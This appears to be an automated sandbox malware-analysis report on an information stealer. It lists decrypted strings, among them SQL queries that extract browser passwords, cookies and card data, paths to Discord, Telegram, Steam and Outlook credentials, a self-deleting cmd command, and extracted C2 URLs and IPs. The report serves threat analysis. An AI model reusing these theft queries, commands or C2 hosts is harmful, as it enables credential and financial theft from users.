Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: ShellExecuteExA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: InternetOpenUrlA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: InternetConnectA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: InternetCloseHandle
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: HttpSendRequestA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: HttpOpenRequestA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: InternetReadFile
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: InternetCrackUrlA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: StrCmpCA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: StrStrA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: StrCmpCW
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: PathMatchSpecA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: RmStartSession
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: RmRegisterResources
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: RmGetList
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: RmEndSession
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: sqlite3_open
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: sqlite3_step
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: sqlite3_column_text
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: sqlite3_finalize
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: sqlite3_close
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: sqlite3_column_blob
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: encrypted_key
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: PATH
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: NSS_Init
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: NSS_Shutdown
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: PK11_FreeSlot
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: PK11_Authenticate
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: C:\ProgramData\
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: browser:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: profile:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: url:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: login:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: password:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Opera
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: OperaGX
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Network
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: cookies
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: .txt
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: TRUE
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: FALSE
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: autofill
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: history
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: cc
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: name:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: month:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: year:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: card:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Cookies
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Login Data
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Web Data
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: History
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: logins.json
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: formSubmitURL
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: usernameField
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: encryptedUsername
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: encryptedPassword
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: guid
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: cookies.sqlite
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: formhistory.sqlite
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: places.sqlite
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: plugins
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Local Extension Settings
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Sync Extension Settings
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: IndexedDB
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Opera Stable
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Opera GX Stable
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: CURRENT
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: chrome-extension_
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Local State
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: profiles.ini
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: chrome
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: opera
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: firefox
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: wallets
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: ProductName
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: x32
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: x64
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: DisplayName
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: DisplayVersion
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Network Info:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - IP: IP?
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - Country: ISO?
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: System Summary:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - HWID:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - OS:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - Architecture:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - UserName:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - Computer Name:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - Local Time:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - UTC:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - Language:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - Keyboards:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - Laptop:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - Running Path:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - CPU:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - Threads:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - Cores:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - RAM:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - Display Resolution:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: - GPU:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: User Agents:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Installed Apps:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: All Users:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Current User:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Process List:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: system_info.txt
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: freebl3.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: mozglue.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: msvcp140.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: nss3.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: softokn3.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: vcruntime140.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: \Temp\
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: .exe
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: runas
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: open
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: /c start
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: %DESKTOP%
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: %APPDATA%
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: %USERPROFILE%
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: %DOCUMENTS%
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: %RECENT%
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: *.lnk
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: files
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: \discord\
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: \Telegram Desktop\
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: key_datas
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: map*
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Telegram
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Tox
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: *.tox
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: *.ini
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Password
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: 00000001
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: 00000002
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: 00000003
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: 00000004
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Pidgin
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: \.purple\
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: accounts.xml
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: token:
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Software\Valve\Steam
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: SteamPath
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: \config\
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: ssfn*
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: config.vdf
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: DialogConfig.vdf
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: libraryfolders.vdf
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: loginusers.vdf
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: \Steam\
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: sqlite3.dll
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: done
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: soft
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: https
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: POST
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: HTTP/1.1
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: hwid
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: build
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: token
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: file_name
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: file
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: message
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

Code function: 4_2_6BF26C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

4_2_6BF26C80

Source: random(4).exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txt

Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source:	Binary string: mozglue.pdbP source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: nss3.pdb@ source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2348408685.000000006C14F000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: nss3.pdb source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2348408685.000000006C14F000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: mozglue.pdb source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\Admin\Workspace\1766103906\Project\Release\Project.pdb source: 943fedf78d.exe, 0000000D.00000000.2247461445.0000000000C8C000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: database.pdbmain.pdbsetup.tar.gzAutoIt3_x64.exemsvcp140.dllucrtbase.dll source: 55c1ca23f1.exe, 00000012.00000003.2311940788.0000000002403000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe

Code function: 10_2_00820DA9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

10_2_00820DA9

Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 16MB later: 40MB

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: pancakedipyps.click
Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: a098b3631cf208cac539d0c4da0de1eb.exe.9.dr

Source: Joe Sandbox View

IP Address: 104.21.48.1 104.21.48.1

Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe

Code function: 5_2_0023E0C0 recv,recv,recv,recv,

5_2_0023E0C0

